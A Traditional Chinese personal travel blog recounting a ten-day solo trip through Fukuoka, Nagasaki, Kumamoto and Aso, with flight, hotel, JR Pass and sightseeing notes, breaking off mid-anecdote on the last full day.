這次住到雷:日本找飯店也還是要看評價,最好直接看低分評價的內容,看能不能接受、再打開街景實際走看看好不好走 這次熊本排太多天,應該 2 天就好,其他天可以去大分;而且福岡熊本其實比福岡長崎還近很多:以往都是先找住宿再找景點,九州幅員遼闊;應該要先找想去的地方再來排住宿,能去的景點會更多 福岡住宿的選擇、價格、品質都比熊本好太多 這次錯過了由布院的祭典(那天我跑去長崎):之後可以查查去的日期有沒有祭典,大家都推祭典,一定要去 JR Pass 可以搭新幹線,但「希望(Nozomi)號」、「瑞穗(Mizuho)號」不行;搭了要補票 獨旅+語言不通其實蠻孤單的,更多時候是自我沉靜享受孤獨 獨旅找住的比較貴 這次依然狂走景點,應該放慢腳步慢慢享受當下跟尋找美食;尤其日本過吃飯時間就沒有有名的店吃了 這季節九州的太陽還是很曬,要做好防曬 北長崎普普(荷蘭、中華街),南長崎跟夜景比較有特色準備工作行最一開始考慮 福岡進福岡出,熊本一兩日來回(後面證明這才是對的XD,熊本景點不多不用待太多天);查到華航有一班福岡進熊本回的班機,還便宜 $1,000,就決定是此航班了。因為時間相當充裕就找了最奢侈的中午出發中午回的時間,包含飛機時間一共 10 天。 去程:9/17 CI 116 16:40 TPE -> 20:00 FUK 回程:9/26 CI 2195 ( 9/26 新開航 ) 12:30 KMJ -> 13:34 TPE價格: $10,048因為九州幅員遼闊,這次有買 JR Pass 北九州鐵路周遊券 (5 日),想說怎麼坐都還是賺。住 (9 晚)安排的時候沒想太多也沒查資料,想說福岡、熊本都沒去過;就抓個一半一半 5天:4天 住。福岡 5 晚— 福岡天神本尼卡卡爾頓飯店 ( Benikea Calton Hotel Fukuoka Tenjin ) 價格:$7,583,$1,516/晚 交通:從博多站出發,可以搭地鐵七隈線到渡邊通站或搭公車走 5 分鐘到達熊本 4 晚 — Green Rich飯店 — 水前寺 ( Green Rich Hotel Suizenji )JR 熊本 -> 飯店飯店 -> 熊本機場熊本住宿很難找(不知道是不是都被台積電出差訂走的關係),選擇少、價格比福岡貴、老舊;最後只找到這家,價格相對便宜的飯店。 價格:$8,157,$2,039/晚 交通:JR 熊本站出來改搭豐肥本線在搭路面電車出來就到了(市立體育館前站), 回程去機場的交通也很方便,出來就有機場直達車到熊本機場飯店訂好了,就可以填寫線上的 預定入境申請 。樂原本的計畫如下: 9/17 21:00 到福岡 22:00 到飯店,應該就外面屋台逛逛 9/18 長崎 (新地中華街/荷蘭坂/哥拉巴園/大浦天主堂/Gunkanjima Digital Museum/眼鏡橋)不會都去+ 原爆資料館+和平公園 + 晚上稻佐山山頂展望台 看夜景 9/19 柳川、太宰府一日遊 + LaLaport 福岡(optional) 9/20 門司港、小倉城一日遊 + 屋台 9/21 博多逛街 (福岡塔、神社、運河城、天神地下街…) 9/22 博多逛街+移動到熊本+ 水前寺成趣園 9/23 熊本市區、熊本城、熊本熊部長參見 9/24 阿蘇火山一日遊 9/25 島原城、島原三柴犬 (很遠,考慮) 9/26 10:00 熊本機場 12:30 起飛回程Go! Flight Tracker、iPhone Suica 使用、Visit Japan 預入境申請…之前文章有提過,這篇就不多贅述了。這次也是非常衝動,9/10 買好機票+訂好房,9/15 計劃好行程,9/17 出發!Day 1 出發下午 16:40 的班機,有很充裕的時間慢慢起床、慢慢出門。到達機捷 A1 台北車站後,一樣選擇預辦登機,直接在北車完成報到&掛行李,到機場就直接走出境,不用跟人擠櫃檯排隊 ( 預辦登機資訊請參考官方網站 )。這次也在托運行李放 Airtag 追蹤行李位置,不怕行李遺失、等轉盤的時候也很方便。約莫 13:00 抵達機場,直接出境亂晃。隨便吃了很貴又普通的口水雞,順手看了一下行李位置;行李也跟隨我托運到機場了。吃飽之後大概才 14:30,隨手買一本日語書臨時抱佛腳。遇到其他飛機跑錯跑道,整個機場 Reset;飛機繞了一大圈才起飛,大概 Delay 了快 30 分鐘;坐到老飛機電視超小。華航攜手五桐號 打造空中最萌甜點 ,是 Dinotaeng 的超萌短尾袋鼠,桂花烏龍也蠻好喝的。因飛機延誤大約 21:00 才出機場。出機場後可以看到一個指示牌,告知要去的方向&在哪個站牌等車;除了到博多也能到其他地方,可參考 此篇文章 或 官網 ;如果要去遠的地方記得查好班次。本來預計要搭的是 2 號直達博多站,但 2 號好像末班還是要再等一個小時(我忘了),就改搭 1 號到福岡空港國內線(地下鐵福岡機場站),再搭地鐵到博多再轉地下鐵七隈線到渡邊通站。Hello Fukuoka!第二張照片的左邊就是要入住的飯店。飯店小開箱,整體偏舊、燈光昏暗、隔音普普、冷氣稍微有聲音,但依然乾淨整潔;不過還是有點小後悔為什麼不多加一些錢住同樣在附近的 APA 連鎖飯店。原本預計第一晚就去屋台逛逛,因爲太累就改超商隨便吃一吃,早點休息準備明天的行程。Day 2 長崎一早從床外看福岡市區的景觀。博多車站搭地鐵到博多太繞,直接走路到渡邊通搭公車到博多比較快。到博多後先去人工櫃檯兌換 JR Pass (出示護照)並預約前往長崎的位子,兌換 JR Pass 的外國人很多,大概排了快一小時才排到,建議提早出門或提前去換。 我是買五日券,從換的那天開始算五日,進出車站都用有本券(有日期&金額那張),劃位的指定券只是讓你知道座位在哪而已,不能用來進出車站;本券要收好,這五天都會用到,遺失就沒了!博多到長崎有兩段,會先到武雄溫泉再從武雄溫泉換車往長崎;在同一個月台換車,車次時間他們都有算好,基本上到站後直接往對面走上車就是。候車的時候發現九州的火車都好有特色!!位子很大很舒服,靠窗可以看風景。車程時間約:1 小時 50 分小插曲:完成一次國民外交 ✅ 搭乘時隔壁坐一組家庭,爸爸媽媽帶兩個小孩出去玩,小孩坐車到一半突然吐,看爸爸一時沒有衛生紙只能直接拿報紙擦,就順手拿衛生紙跟濕紙巾給他。 要下車的時候,爸爸給了我一個 三原市お土産 (蝦子米餅)。長崎車站出長崎車站後天氣大好!本來還擔心今天會下雨。出站後往長崎路面電車方向搭乘。長崎(南邊)第一站先往南到長崎新地中華街逛逛。對外國人可能是蠻特殊的景點,但對華人還好,裡面有賣長崎特色刮包、長皿烏龍、強棒麵、小籠包…不過當時沒什麼胃口,所以只路過逛逛就走了。一路往哥拉巴園走,還有經過孔廟XD經過荷蘭坡(就是個斜坡),然後搭乘電扶梯往上到哥拉巴園 2 號入口,整個地形就是個面海的大山坡地。入園哥拉巴園走馬看花,建築風格、內部裝飾;很像淡水紅毛城(因為同樣都是荷蘭人建立的)最後別忘了去兌換免費的寫真照片,從這也能瞭望長崎港的郵輪。下山的途中就會經過大浦天主教教堂,沒進去,拍個照就離開了。買了長崎的刮包吃看看,我覺得還是台灣的好吃!回程往北到長崎原爆資料館的途中先到眼鏡橋下車拍照,從正面看水中的倒影真的蠻美的,有時間的話直得一拍。長崎(北邊)參觀原爆資料館更多的感受是沈浸與反思,場館設計了很多場景(爆炸當時的或讓人沈浸的)、裝置藝術、歷史資料、採訪;讓參觀者能沈浸在當時的歷史氛圍跟反思日後的戰爭的殘酷可怕。出資料館後往前走就是原子彈爆炸點,和平公園。路上(包括原爆資料館)都懸掛很多彩色紙鶴象徵祈求和平。稻佐山夜景離開和平公園後先去客美多稍做休息,準備晚上去看 世界三大夜景之一的稻佐山夜景。查公車出客美多走一小段有公車站到稻佐山下纜車搭乘處(淵神社駅),就漫步到車站等車。結果被公車誤點雷了,這小站沒有電子看板,Google Map 又寫已離站但又沒看到車;等了 5 分多鐘想說該不會今天沒發車,就趕快再查附近別的站牌有到淵神社的,然後又再走 10 分鐘到另一個站牌搭另一班車才到。 好笑的是走到一半發現那班誤點的車來了。。。但也來不及了 Orz下車後對面就是淵神神社,直接往上走穿過幼兒園之後就是長崎纜車(淵神社駅),因為沒有要待到太晚所以就直接買來回票(比較便宜,但如果要到太晚會沒纜車,只能搭公車回去)。有點烏來->雲仙樂園的 Fu。下纜車後,還有另一個遊山看景的纜車可以搭,但我沒嘗試,所以直接一路往觀景台方向走。忘了拍觀景台的照片,是一座 360 度的塔,可以環繞看整個長崎市區、港口、山的景色,而且無需門票;可以從西邊太陽從港口落下開始看,到東邊晚上的市區夜景。觀景台很大,不怕人多。日落後就能看到整個長崎市區、車站的夜景,很美。最後看一眼長崎車站的夜景、買個長崎蛋糕伴手禮(後來發現博多就有賣、保存期限約 12 天,應該後面再買就好…),準備回博多了。再次遇到誤點,這次是 JR (信號故障);大概延誤快一小時才到博多(已累攤),司機開很快感覺很晃。買個宵夜回飯店休息。Day 2 柳川太宰府一日遊 + LalaPort 福岡早上先到 福岡(天神)遊客中心買一日套票 ( 福岡天神、藥院或線上購票都可 ),可以自己算一下有沒有比較便宜。西鐵 — 一日暢遊「古都太宰府」與「水鄉柳川」兩大景點。另外會送兩本 Coupon, 太宰府那本有一張可以兌換免費的梅枝餅 。順序沒有一定,但遊船有時間限制,下午 2 點之後就沒了;所以就直接照流程走,福岡->柳川->太宰府->福岡。買完票後走人工窗口,給站員看票後就能進車站直接搭車(不用劃位)前往柳川。車程時間:約 1 小時 10 分柳川遊船出站後會看到穿著白色背心的工作人員(如果沒有旁邊有服務中心可以問) 會給你地圖+回程方式+時刻表 & 直接引導你去搭接駁車到乘船場。出站同樣走人工剪票,站員會撕掉福岡往柳川站的票。本來看路程想說可以用走的,但出站就看到有工作人員直接用心引導,所幸就搭乘巴士了。到達乘船處等下一班船時剛好遇到前面是台灣人家族旅行,就地與他們抱團,一路閒聊(畢竟我獨旅又不會日文XD來九州幾乎沒跟人講話)。水非常乾淨,這個季節綠油油的比較沒那麼美,但相對人也少。船夫會一路介紹經過的景點、唱唱歌(台灣人多半會聽過,很多老歌)。過橋的時候船夫會請大家低頭防止撞到,蠻有趣的;路途上遮陰不多,有點曬。中間會經過一家冰店,賣水果冰的,可以買一個消消暑;船夫也會發給每個人冰袋降降溫(很貼心)。一路與前面抱團的台灣家族的爸爸閒聊,最後還獲得一張名片。下船後沒找到免費接駁車位子,還排錯隊排到其他的(非西鐵套票)接駁車被拒絕搭乘;要研究一下地圖上的乘車點 (川流船場(沖之端))或直接詢問比較快。我後來是走去搭公車,回西鐵柳川站。太宰府柳川往太宰府要在二日市車站換乘往太宰府的列車(要到另一個月台)。車程時間:約 1 小時搭乘旅人號到太宰府,經 五條 (2.5 條悟QQ);有點類似北投到新北投,就一班列車來回開。中間有一節車廂有展示太宰府的文物跟可以寫明信片,可以去看看。太宰府站也很美,外面的 Lawson 也很有日本的 Fu。出站右手邊就是全球唯一的五角(日文合格)碗一蘭拉麵。吃完拉麵後來個梅枝餅,跟梅子沒太大關係,比較像紅豆烤年糕,要吃現做的皮才會是蘇的,好吃!我忘了用西鐵套票送的退換券換,花 150 日圓自己買了一個;看保存期限只有一天,無法帶回台灣。表參道繼續往太宰府走就會經過日本最美之一的星巴克,空間蠻大但人也多,沒有駐足就離開了。通往神社的橋如果是晚上+人少應該蠻好拍的,人太多隨手亂拍。參拜完後回到太宰府站,往回去福岡 Lalaport。福岡 Lalaport一樣從太宰府站先回到二日市再轉搭往博多方向的列車,在 大橋(福岡)下車,出站往左邊乘車處找到 Lalaport 直達車,跳上去一站就到 福岡 Lalaport 了。總車程時間約:50 分一來就看到外面巨大的福岡鋼彈。Lalaport 很大,很好逛也適合親子;樓上還有個大操場,有小朋友在玩也有人躺著休息。樓上有 Jump Shop 賣少年 Jump 週刊的相關周邊,有排球少年、航海王、獵人、咒術回戰、鏈鋸人…等等,買了些咒術的周邊。滿 5000 日圓一樣可以退稅,但好像是退到他的 App 還什麼的,有點複雜,而且吃的不含在內。去美食街吃宮崎牛丼飯,要走的時候買了些宵夜回去(咖哩麵包、如水庵大福)。晚上發光的鋼彈還是蠻震撼的。回程直達公車,不是在原本下車的地方搭車,照館內指示牌直接從館內的巴士站搭乘即可。回飯店休息,自配平板(電視太舊沒有智慧功能);咖哩麵包酥脆好吃,裡面還有肉餡、大福還不錯,不過我比較喜歡 弁才天 的。Day 3 門司港、小倉城、博多運河城、中洲屋台一早同樣先到博多站,搭乘 JR 往門司港,再回來小倉城。博多小倉交通小插曲 沒特別看 Google Map 的規劃,搭到 JR Pass 不能搭的新幹線 希望號 20 ;出站時逼逼逼出不去,經站員引導補票 2,160 日圓才完成出站,不過快也是真的快,這班 15 分鐘就到門司港。門司港有驚無險(想說會不會被罰錢)的來到門司港。出站往前走就是門司港,平日來完全沒人;剛好遇到藍翼門司吊橋要放下。放下後可往後走到後面的觀景塔,鳥瞰整個門司港。塔出來剛好走一圈門司港。午餐就吃門司港有名的咖哩燒。小倉城門司到小倉很近,但小倉是小站,出站一片荒蕪,找小倉的入口還走錯繞了一大圈,其實入口就在小倉外面的 Mall 那側。小倉城小小的不大,裏面參觀的項目蠻多的,只是天守閣的景很普通(正面看出去就是那個 Mall)。參觀完後就回車站搭車回博多了,乖乖搭 JR,但是小站只有區間車花了一個多小時慢慢回去。博多運河城回博多時時間還早,就去博多運河城、市區晃晃。沒特別查,本來以為是什麼「城」或什麼「護城河」之類,結果是百貨公司XD,真的有「護城河」而且有水舞表演。這邊要逛也很多可以逛,也有 Jump Shop。時間還很早就亂走,走出去吃 博多祇園鐵鍋煎餃 。皮酥酥脆脆裡面有湯汁,很好吃;因為語言不通,店員阿姨還很可愛比手畫腳比大肚子 2 份(1 份只有 8 顆,2 份 16 顆才吃得飽)當時沒有意會過來,所以還是只點一份+博多有名的名太子。中洲屋台吃完,天還沒黑先漫步道中洲屋台逛逛。時間還很早就先走去逛天神的百貨 (Parco) 等天黑再回來看夜景。樓上有 Animate、扭蛋首抽就中五條悟。夜景的中洲屋台給人一種煙火氣感。浮誇顯眼的日式廣告招牌。中洲屋台就是這一側的路邊食堂,人聲鼎沸;有拉麵、關東煮、燒烤,沒有特別吸引我,就沒進去吃了。回飯店喝酒吃宵夜休息。Day 4 住吉神社、櫛田神社、天神地下街、福岡塔、福岡軟銀鷹隊棒球比賽一日福岡步行,出飯店後先走到附近的住吉神社。住吉神社小小的,不是在附近應該不會特地去。再次經過博多運河城前往櫛田神社。路上看到屋台餐車早上停放的地方,好小巧可愛。櫛田神社櫛田神社比較大,也抽了支籤,看到求職「會突然成功」好像對工作又看到了希望呢。有展示博多祇園祭的神轎,很巨大壯觀。繼續漫步福岡,中午走到 ハカタミヤチク (日本一宮崎牛専門店 博多みやちく) 品嚐宮崎牛。這樣一份宮崎牛排+啤酒大約台幣 $650 上下,好吃又便宜!宮崎牛 Juice 且沒什麼異味。天神地下街吃完午餐就去天神一代、天神地下街亂逛,順便買伴手禮小雞餅乾、蛋糕;也去超市買了串很紅的麝香無籽葡萄嚐嚐。在天神亂晃,發現野生的熊本熊部長。先回飯店放買的伴手禮+休息片刻後出發前往福岡塔+看棒球賽。福岡塔從市區搭公車前往福岡塔。福岡塔全鏡面設計,從外面看很美,我覺得比晴空塔還美!(感謝路人姊姊幫拍照)但因為塔蓋在城市的最外側靠海的地方,上面景色普普;不確定晚上夜景如何。出福岡塔後慢慢走到上一站就是 福岡 PayPay 棒球場,是海的味道。福岡軟銀鷹隊棒球比賽人很多(大概坐滿 7 成),但是現場買還有票。買票小插曲買票的時候遇到阿伯櫃檯,看到外國人語言不通緊張的手在抖;我也跟著緊張XD;一時腦霧,選了前面看台的最後一排最中間的指定席位子(左右坐滿人)結果進去超尷尬,進出都要一路 すみません,而且位子也很小,擠在日本人中間,我一句日文也不會,很尷尬。。。正經危坐的看完整場球賽。票價快 $1,500 台幣,想想應該買個最便宜的爛座位自己輕鬆看就好。不得不說巨蛋的視覺效果(離球場很近)、整個大型的螢幕動畫顯示都很好。福岡軟銀鷹隊的加油應援傳統,7 局上大家會灌氣球(用手動打氣桿) 然後釋放出去,至於垃圾…就不管了最後會有人清。最後主場 4:2 獲得勝利,比中職精彩,投手球速都在 145km 上下,局局有攻防,很少三上三下;但打的節奏又很快,看起來很舒服。不過啦啦隊的部分,台灣還是比日本豐富的。主場獲勝會在大巨蛋內放煙火,很酷!!買了條軟銀鷹的毛巾做為到此一遊的紀念,也一解 上次去阪神虎甲子園棒球場票售罄不得其門而入的窘境 。散場的人非常多,但大家不會站太近也都慢慢走,就跟著大家一路走到最近的地下鐵唐人街町站,因為公車感覺要排很久。回飯店休息順便嚐嚐下午買的麝香無籽葡萄嚐嚐,很甜、有點甜過頭。Day 5 熊本 (熊本城、鶴屋百貨)一早先 Chekout 走到飯店附近的藥院晃晃發現沒什麼,吃個麥當勞(滿福堡加蛋配冰美式這樣才 $107)就回來拿行李準備搭 JR 去熊本了。最後跟這間飯店說再見了,Lobby 有福岡軟銀鷹隊的娃娃、外面有掛 🇹🇼 國旗也蠻猛的,因為隔壁就是中國人開的友誼超商,很多中國人。福岡博多 -> 熊本車站電子機器劃位,想說有點遠、帶著行李還是劃個位。按照說明書劃位,總之就是: 先選擇語言、先選擇語言、先選擇語言 (不然插入票卡後不能改,要退出重來) 插入 JR Pass 票卡 選擇出發、到達站 (用英文站名搜尋) 選擇班次、座位 完成有問題現場都有站務人員可以問,本來有一班 15 分鐘後發車的沒位子,只能買 45 分鐘後的另一班列車。不過也還好沒買那班,從博多站內走到新幹線往鹿耳島(經熊本)的月台,大概就要 10 分鐘,要繞一下有點遠,時間太趕。趕在 JR Pass 到期最後一天用完。 本來還擔心我的 27 寸行李箱 (約 69 x 50 x 29 cm) 會不會上面行李架放不下要買 特大行李附帶席,規定是三邊和超過 160 cm 一定要買 。 27 寸放腳會太卡,也會卡到隔壁;實測放行李架蠻穩的,但仍要扛上去放,買靠窗的位子在拿放行李時又怕會卡到走道的乘客;還好遇到好心的日本阿伯願意讓位子給我拿放行李。一到熊本就看到巨大的熊本熊,先轉 JR & 地鐵到飯店寄放行李(市立體育館前站)。熊本到處都是熊本熊….熊本城放好飯店後搭路上電車前往熊本城(到通町筋站)。可以先去下面的 櫻之馬場 城彩苑(忘了拍照) 逛逛補充能量,可以在此購買熊本城門票,這邊沒什麼人,上去熊本城入口買遇到團體人會很多卡成一團。門票有:熊本城 800、熊本城+買票後面那棟(歷史文化體驗 湧湧座) 850、熊本城+買票後面那棟(歷史文化體驗 湧湧座) +熊本博物館 1,100 三種我是買 熊本城+湧湧座 想說多 50 日圓而已,但去逛了一圈覺得普普,多補充了熊本城內的展覽跟地震相關文物,適合拍照體驗。熊本城天守閣 2023 年已完成修復開放,其他建築仍在維修中(可以看到吊車)。新的是直接規劃成天空步道,照著路線一路走到熊本城。上天守閣之後可以看到一路走來的天空步道。鳥瞰熊本城前方廣場與後方持續維修中的古蹟。地震之後當時的狀況模型。在廣場隔壁的伴手禮店收藏了熊本城模型,完成我的三大名城搜集任務!原路返回到 買票的地方,去逛湧湧座;裡面有熊本城模型跟一個樂高做的熊本城,很酷。因天氣不理想,就沒再往後繞道博物館、加藤神社。一路再走回通町筋站,這邊就是上通商店街與熊本本地的鶴屋百貨,百貨東棟一樓就是前幾個月才整個重新裝修好的熊本熊廣場(熊本熊部長辦公室)。在商店街亂逛剛好遇到熊本熊 x 交通安全 的公開活動,獲得一個熊本熊手提袋。這整區不算好逛,蠻無聊的;只有蔦屋書店、無印良品那棟比較好逛,熊本剛下車站就可以感受到老年人很多、年輕人很少,本地的鶴屋百貨也幾乎都是老年人、賣婦人服、居家用品居多,較少年輕人的東西。去鶴屋百貨的熊本熊周邊店買了些熊本熊(樣式比熊本廣場多),再去百貨地下街買酒、吃的東西(晚餐+宵夜)回飯店吃。香露是店家推薦的熊本地酒,甜口的,喝起很順,但我覺得米味不夠。Green Rich飯店 - 水前寺 (Green Rich Hotel Suizenji) 2023/09值得一提的是飯店,以往其實不會特別看評價;就看差不多 3 顆星以上的就好;這間的隔音也不好又遇到整層都是國小畢業旅行,連續兩天的早晚都一直開關門碰!碰!碰!,非常地大聲擾人。查了下 Google/Agoda 上的評價明細,覺得心有戚戚焉。隔音不好應該是老舊飯店的通病,這個我還能忍(自備耳塞);但是飯店的 WiFi 如同前人留下的評價,純粹糊弄人而已。WiFi 整間都有訊號,但是在房間內就算訊號滿格速度還是非常慢,連網頁都打不開,要貼著房門用,網路速度才會是正常的,幾乎等於飯店沒網路。 價格也很不美麗,不如都住福岡,同樣價格在福岡直升 APA 了。 經過這次經驗之後知道就算是日本飯店也還是要看一下評價的….真的除了離機場交通方便外沒優點,附近也無超商(要走 10 分鐘以上才有)。Day 6 水前寺成趣園、熊本熊廣場表演、花畑廣場、櫻町購物中心早上起來出門直接走到對面的水前寺成趣園。水前寺成趣園(出水神社)有點板橋林家花園感,裡面整理的很乾淨、水很清澈,有小富士山、出水神社跟很肥的錦鯉還有貓。熊本熊廣場表演走完後搭乘路面地鐵到水道町前往熊本熊廣場(昨天來過)。裡面有熊本熊部長周邊可以拍照,外面有 Monitor 能看到裡面的狀況。因為距離當天表演時間 11 點還很早,先去隔壁鶴屋百貨覓食。表演時刻表可參考熊本 廣場官方網站 (時間不一定,但週六多半有三場)。路過旁邊的鶴屋百貨一樓也發現一隻心酸打工彈鋼琴的部長。去 B1 吃了當地有名的蜂樂饅頭,就是餡料很厚實的車輪餅,有分白豆、紅豆兩種餡,喜歡甜食的會很愛,配上咖啡就是一頓早餐。快 11 點時回到熊本熊廣場等待表演,現在不用抽籤,只要在表演前入場都可以,超過時間應該只能在外面看 Monitor 了,有帶小孩的話可以坐裡面。表演前會先說明秩序規則,例如:不可以拍打熊本熊、拍照不可舉過頭(會擋到後面的)、根據日本法律如果有人臉要打馬賽克、歡迎大家上傳到 SNS。表演時間約 30 分鐘,主持小姊姊會邊幫熊本熊發言(全日文),流程大概是跟大家打招呼、講熊本的趣事、跳舞(上面這首、很洗腦)、跟不同國家的人說 Hi。(這場台灣人最多XD)。熊本熊本尊很萌,動作很大、很有趣。廣場裡面賣的周邊反而少、價格也偏高,就沒有在這邊下手。看完表演接近中午,走下通商店街吃 勝烈亭 新市街本店 ;走到商店街外為了,瞬間從兒童級升級成限制級,整排都是無料案內所(另一邊熊本銀座通也是)。超厚 Jucie 豬排飯,比較特別的是有附他們的酸菜(共用、自己夾、記得用紅色筷子),其他跟台灣吃日式豬排一樣,會上研磨棒、芝麻給你磨醬;飯、茶、湯、高麗菜一樣免費續;一口氣吃了兩碗白飯,很滿足。花畑廣場吃飽喝足後繼續走下通商店街往花畑廣場走。剛好遇到週六廣場有活動,Food Summit 2003,整圈賣吃的,中間架一個壘台在表演日摔。買了杯氣泡酒+烤腸坐下來看表演,烤腸不香沒有台灣的好吃。吃到一半還打到台下,有點嚇人,但帶入感很強;後來實在太熱了,吃完就走了,去後面的櫻町購物中心逛百貨公司。花畑廣場,感覺每週六日都有活動,來之前可以查一下,下一週是台灣祭!櫻町購物中心頂樓有一隻熊本熊在揮手,二樓也有販賣熊本熊周邊( 我覺得是最齊全的 )。這邊也會有熊本熊表演,要參考公告時間。可以一路從外面樓梯上到頂樓找到揮手的熊本熊本尊,這棟樓下同時也是熊本客運中心,可以在二樓買票前往其他城市。樓頂有一個很大的花園、可以玩水的水池,有帶小孩可以上去玩。從裡面也能搭電扶梯上去,從三樓的敘敘苑(這家敘敘苑完全沒人)就能找到再網上的電扶梯。 個人覺得櫻町購物中心比鶴屋百貨新、好逛。櫻町購物中心出來旁邊就是熊本縣物產館,除了有熊本縣的特產外也有一些熊本熊周邊(例如:熊本熊香爐XD)。回程又走了一遍上+下通商店街。去無印買了衣服跟雜物、松本清補充藥妝(不知為何我的 Visa 在松本清都刷不過,之前在東京就被雷過,這次在熊本一樣無法刷,只能犧牲日幣現金了)。到飯店時接近傍晚,晚餐就路上 Lawson 隨便解決,早早睡準備明天去阿蘇火山!本來有在 KKDay/Klook 看到阿蘇火山行程,包一餐午餐、無導遊、無包車;沒有包交通感覺意義不大,就沒報(還好沒報,真的沒意義)。反而從福岡到阿蘇有包車行程,比較方便。Day 7 阿蘇火山、草千里、阿蘇神社、熊本站 AMU PLAZA KUMAMOTO一早出門走到公車站搭往阿蘇站的客運;等車又遇熊本熊。會先經過阿蘇機場(後天就要來了 Orz)。一路上比較特別的是進阿蘇火山範圍時,車上會介紹阿蘇火山然後播放當地的山歌要你一起想像漫步在阿蘇火山草原的感覺。抵達阿蘇站,站外有 航海王烏索普 銅像可以拍照(我忘了)。可以在這邊用販賣機買阿蘇火山一日券(大概便宜個幾百日圓)跟拿時刻表,一日券只限時刻表上的三站上下車,上車要抽整理券;其他站貌似無法使用。我要搭乘 8 號路線,10:45 分上山的公車。上山車程時間:約 40 分鐘。人不算多,時間快到稍微排一下隊就上車了,看大家都有上;不過應該是山路安全考量,沒有站立的位子;另外會暈車的可能要吃暈車藥。阿蘇另外有直升機體驗行程,直接坐直升機看火山,有興趣的人可以查查。阿蘇火山Kami-komezuka一路上山,會先經過草千里再到山上總站,從山上總站再換一次公車約 10 分鐘就會到山上火山口。剛好遇到隔壁的台積電大哥一樣是獨旅(來出差的XD),也都是第一次來阿蘇,於是一起抱團跑行程。山上總站要再換一次公車,我們懶得在排公車,選擇直接用走的上山(大約 15–20 分鐘)。走路到山上廣場,出來就是阿蘇中岳第四火山口。有旅伴拍照就不是問題了!山上很涼爽、完全不熱,充滿硫磺味,有圖三的疾病要考慮身體狀況。純走馬看花,就沒有走到阿蘇中岳火山口,上來看看就走下山了。小插曲一路上聊得太開心走下來後,沒仔細看公車方向,要發車了趕快上車結果又被載上來,只好再走一遍XD到山上總站後,這次看清楚 8 號路線公車、8 號路線公車、8 號路線公車,往山下阿蘇車站的;在草千里下車。草千里吃有名的 おか牛丼飯,人多但位置也很多,出餐快幾乎不用等。吃完走出去逛逛草千里(有點擎天岡的味道),有騎馬體驗活動。吃完搭同班 8 號公車往阿蘇站,原路下山。阿蘇神社到阿蘇站的時候,往阿蘇神社(宮地站)的 JR 再三分鐘就要發車了,錯過要再等一小時;用跑的進站,又遇到 阿蘇是小站沒有電子支付 ,要買車票,手忙腳亂的在販賣機買完車票上車。 阿蘇站只有一個月台,直接無腦上車即可;後來發現如果時間真的來不及買票,也可以直接上,出站再補就好。宮地站出來大概要再走 20 分鐘才會到阿蘇神社(直直走就到,但有點遠)。路上又遇野生熊本熊。神社不大,一下就參拜完;神社部分也在維修中。出來後旁邊有一條小小的表參道商店街,可以買些吃的稍作休息。 感謝大哥請吃炸牛肉馬鈴薯餅。都逛完之後開始慢慢走回程,本來想說搭乘 15:47 的 JR 回熊本,但走回宮地站才知道那班是全指定席的車,無販售自由席並且已全售完,無法上車。附上時刻表,或請先查好時刻;不然就會像我們一樣只能等一小時,等下一班 16:35 的區間 JR 回熊本。時間還很久,就一起走回路上的松本清逛逛。(其實也蠻遠的,大概要 10 分鐘)。最後看一眼寧靜的阿蘇。區間車慢慢開回熊本,大概花了 1 小時 45 分才到。路線有一段是之字形,會倒車開,別擔心,沒搭錯!熊本站 AMU PLAZA KUMAMOTO回到熊本站與大哥告別,期待有緣再見。在熊本站逛新開的 AMU PLAZA KUMAMOTO 百貨公司(比櫻町購物中心更大更豐富)還有旁邊的肥後市場(賣吃的)。一樣發現很多熊本熊XD。在美食街隨便吃了晚餐宮崎雞(普通),整棟逛了一遍後買了些宵夜、熊本產的草莓酒(試喝完不錯,準備帶回台灣) 回飯店。有一家蠻特別的店叫「BIWAN 美灣」賣台灣的食品(有看到乖乖XD),查了一下是 台灣阿原肥皂開的 。https://kumataiwanlife.com/查資料的時候還找得一個酷網站 — https://kumataiwanlife.com/ 裡面有中文的熊本最新消息、活動、冷知識(例如: 熊本的「OK繃」叫「LIBATAPE」 )…等等今天才發現飯店的販賣機居然有賣罐裝生可樂,我在三大超商都沒找到。 它是 Suntory 跟百事一起推出的,台灣買不到,用做生啤的做法作可樂,氣泡感很足,不太有糖漿的膩,我喝一般可樂喝到後面都因為太膩倒掉,但生可樂我能喝完!酒足飯飽後,早早睡去;準備迎接最後一天的熊本(扣掉回程飛機那天)。Day 9 熊本亂晃、採購熊本逛到第三天其實挺無聊的,能去的景點早就去完了,只能盡量找一些地方去看看然後買一些紀念品、藥妝。原本預計去島原市,但路途太遠(單趟 2 小時 45 分),加上 JR Pass 早就過期,要再花錢買長途車票,放棄;大分、由布院同樣太遠,放棄;南阿蘇村,懶得去留給下次;所以就市區亂晃跟採購了,慢慢走。熊本稻禾神社一早一樣來到通町筋,先去第一天沒去到的熊本稻禾神社加藤神社一路往後面走去加藤神社(蠻遠的大概要走 20 分鐘,有山坡路。)看到這山坡往上拐進去就是加藤神社了,也可以看到第一天從天守閣看後面在維修的地方,還有很多散落的城牆要逐一恢復。小小的,有一半也還在維修中。有一個小的熊本地震募款箱,加藤神社就沒參拜了,改投募款箱。這邊可以從後方看到熊本城。原路返回後前往熊本市役所(14 樓有免費展望台),到加藤神社的路走起來蠻遠的,可以搭公車。 本來打算去熊本美術館、手工藝館…等等,但週一都沒開!熊本市役所熊本市役所 14 樓可以鳥瞰整個熊本是、熊本城。市役所出來再往櫻町購物中心方向走,會經過一個天橋,是一個很好的拍景地點,可以拍熊本路面地鐵。這個十字路口就是熊本銀座通,前幾天有說到這邊也都是無料案內所。櫻町購物中心回櫻町購物中心逛街,再吃一次宮崎牛配熊本產的啤酒;離開時買了一隻熊本熊大福帶回台灣做紀念(可愛)。唐吉訶德一路再從下通走到上通回到通町筋,途中順便去唐吉軻德採購(這間的免稅櫃台在二樓結帳)。買完想說先回飯店休息+放東西。小插曲 